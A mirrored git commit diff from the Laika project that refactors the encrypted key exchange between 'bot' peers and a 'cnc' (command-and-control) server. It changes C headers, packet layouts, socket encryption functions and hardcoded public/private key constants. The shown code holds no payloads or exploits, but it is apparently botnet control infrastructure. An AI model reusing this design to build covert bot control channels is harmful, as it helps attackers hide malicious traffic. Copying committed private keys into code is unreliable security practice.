mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-28 12:47:35 +00:00
Key exchange refactoring!
- LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled
This commit is contained in:
@@ -6,8 +6,7 @@
|
||||
#define LAIKA_VERSION_MINOR 0
|
||||
|
||||
/* keys */
|
||||
#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
|
||||
#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
|
||||
|
||||
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
|
||||
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
|
||||
|
||||
#endif
|
||||
|
@@ -6,7 +6,14 @@
|
||||
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_NONCESIZE 16
|
||||
/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
|
||||
|
||||
/* first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
|
||||
*/
|
||||
|
||||
enum {
|
||||
LAIKAPKT_HANDSHAKE_REQ,
|
||||
@@ -14,22 +21,21 @@ enum {
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN];
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t peerType;
|
||||
* uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey
|
||||
* uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_RES,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t endian;
|
||||
* uint8_t reEncryptedNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt
|
||||
*/
|
||||
LAIKAPKT_VARPKT_REQ,
|
||||
//LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
//LAIKAPKT_VARPKT_REQ,
|
||||
/* layout of LAIKAPKT_VARPKT_REQ:
|
||||
* uint8_t pktID;
|
||||
* uint16_t pktSize;
|
||||
*/
|
||||
LAIKAPKT_CHALLENGE_REQ,
|
||||
LAIKAPKT_CHALLENGE_RES,
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
||||
|
@@ -19,12 +19,10 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
||||
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
struct sLaika_pollList *pList; /* pollList we're active in */
|
||||
PeerPktHandler *handlers;
|
||||
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
|
||||
uint8_t *priv; /* key to decrypt incoming packets */
|
||||
uint8_t *pub; /* pub key matching to priv */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
@@ -35,8 +33,6 @@ struct sLaika_peer {
|
||||
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
|
||||
|
||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
||||
bool laikaS_handlePeerOut(struct sLaika_peer *peer);
|
||||
|
||||
|
@@ -51,6 +51,8 @@
|
||||
#endif
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "lrsa.h"
|
||||
|
||||
typedef enum {
|
||||
RAWSOCK_OK,
|
||||
RAWSOCK_ERROR,
|
||||
@@ -61,12 +63,16 @@ typedef enum {
|
||||
struct sLaika_socket {
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
SOCKET sock; /* raw socket fd */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
int inCap;
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
bool flipEndian;
|
||||
bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
||||
@@ -84,10 +90,15 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id);
|
||||
int laikaS_endOutPacket(struct sLaika_socket *sock);
|
||||
void laikaS_startInPacket(struct sLaika_socket *sock);
|
||||
int laikaS_endInPacket(struct sLaika_socket *sock);
|
||||
void laikaS_setSecure(struct sLaika_socket *sock, bool flag);
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
||||
void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf */
|
||||
void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf */
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
|
||||
|
Reference in New Issue
Block a user